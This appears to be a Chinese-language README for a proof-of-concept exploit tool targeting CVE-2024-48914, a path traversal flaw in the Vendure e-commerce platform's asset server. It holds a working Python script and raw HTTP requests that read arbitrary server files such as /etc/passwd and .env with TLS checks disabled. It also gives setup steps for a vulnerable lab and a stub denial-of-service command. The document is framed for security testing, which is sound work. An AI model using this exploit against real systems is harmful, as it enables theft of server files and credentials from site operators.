Vendure 资产服务器漏洞利用工具 (CVE-2024-48914)
项目描述
本项目是一个用于检测和利用 Vendure 开源无头电商平台中 CVE-2024-48914 漏洞的概念验证 (PoC) 工具。该漏洞存在于 Vendure 的资产服务器插件中,影响 3.0.5 及之前的多个版本。攻击者可以利用此漏洞实现任意文件读取和拒绝服务 (DoS)。
本工具旨在帮助安全研究人员和系统管理员验证其 Vendure 实例的安全性,及时进行漏洞评估和修复。
功能特性
- 任意文件读取:通过路径遍历漏洞,读取目标服务器上的任意文件,如配置文件、环境变量文件 (
.env)、源代码等。 - 拒绝服务攻击 (PoC):演示如何通过发送格式异常的 URI 导致资产服务器进程崩溃,从而中断服务。
- 简洁的命令行界面:基于
rich_click构建,提供清晰的参数提示和彩色输出。 - 安全警告抑制:自动禁用不安全的 HTTPS 请求警告,便于在测试环境中使用。
安装指南
环境要求
- Python 3.6+
- pip
依赖安装
使用 pip 安装项目所需的依赖库:
pip install requests rich_click
从源码运行
克隆或下载本仓库后,无需额外安装步骤,直接执行脚本即可。
使用说明
基本用法
该工具目前展示的是核心功能框架(banner 展示),完整的利用逻辑需要根据目标漏洞详情进行实现。
# 导入库并禁用安全警告
import requests
import rich_click as click
import time
import sys
requests.packages.urllib3.disable_warnings(
requests.packages.urllib3.exceptions.InsecureRequestWarning
)
# 打印工具 banner
print(banner)
典型利用场景(概念验证)
对于存在漏洞的 Vendure 资产服务器(版本 <= 3.0.4 或 <= 2.3.3),可以使用类似以下的 HTTP 请求进行文件读取测试:
GET /assets/../../../../etc/passwd HTTP/1.1
Host: target-vendure.com
本工具可实现自动化发送此类请求并获取文件内容。
漏洞复现环境搭建
根据 CVE-2024-48914 公告,可使用以下方式搭建易受攻击的测试环境:
-
下载漏洞版本 (v3.0.4):
git clone https://github.com/vendure-ecommerce/vendure.git cd vendure git checkout v3.0.4 -
安装依赖并构建:
npm install npm run build -
配置数据库与搜索引擎(使用 Docker):
# docker-compose.yml 示例 version: '3.7' services: mariadb: image: 'bitnami/mariadb:latest' environment: MARIADB_DATABASE: vendure-dev MARIADB_ROOT_USER: vendure MARIADB_ROOT_PASSWORD: password ports: - '3306:3306'启动服务:
docker-compose up -d
核心代码
本工具的核心功能围绕构建并发送带有路径遍历载荷的 HTTP 请求。
import requests
import rich_click as click
# 禁用 SSL 警告(仅用于测试环境)
requests.packages.urllib3.disable_warnings(
requests.packages.urllib3.exceptions.InsecureRequestWarning
)
@click.command()
@click.option('-u', '--url', required=True, help='目标 Vendure 资产服务器基础 URL')
@click.option('-f', '--file', default='/etc/passwd', help='要读取的文件路径')
def exploit(url, file):
"""
利用 CVE-2024-48914 进行路径遍历攻击,
尝试读取目标服务器上的任意文件。
"""
# 构建恶意路径
traversal_payload = "/assets/../../../../.." + file
target_url = url.rstrip('/') + traversal_payload
try:
response = requests.get(target_url, verify=False, timeout=10)
if response.status_code == 200:
click.echo(click.style("[+] 文件读取成功!", fg='green'))
click.echo(response.text)
else:
click.echo(click.style(f"[-] 读取失败,HTTP 状态码: {response.status_code}", fg='red'))
except Exception as e:
click.echo(click.style(f"[!] 请求异常: {e}", fg='yellow'))
@click.command()
def dos_poc():
"""
演示通过畸形 URI 导致服务崩溃的拒绝服务攻击。
"""
click.echo("[*] 此功能演示发送恶意请求导致资产服务器进程崩溃。")
# 此处填入具体的畸形 URI 构造逻辑
# 例如: /assets/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
if __name__ == '__main__':
# 实际 CLI 入口,可扩展子命令
click.echo(banner)
exploit()
以上代码展示了利用路径遍历读取任意文件的核心逻辑,以及拒绝服务攻击的命令行框架。请务必在获得授权的情况下使用。 6HFtX5dABrKlqXeO5PUv/5C3VZgFqsSNS7Ybml8o150=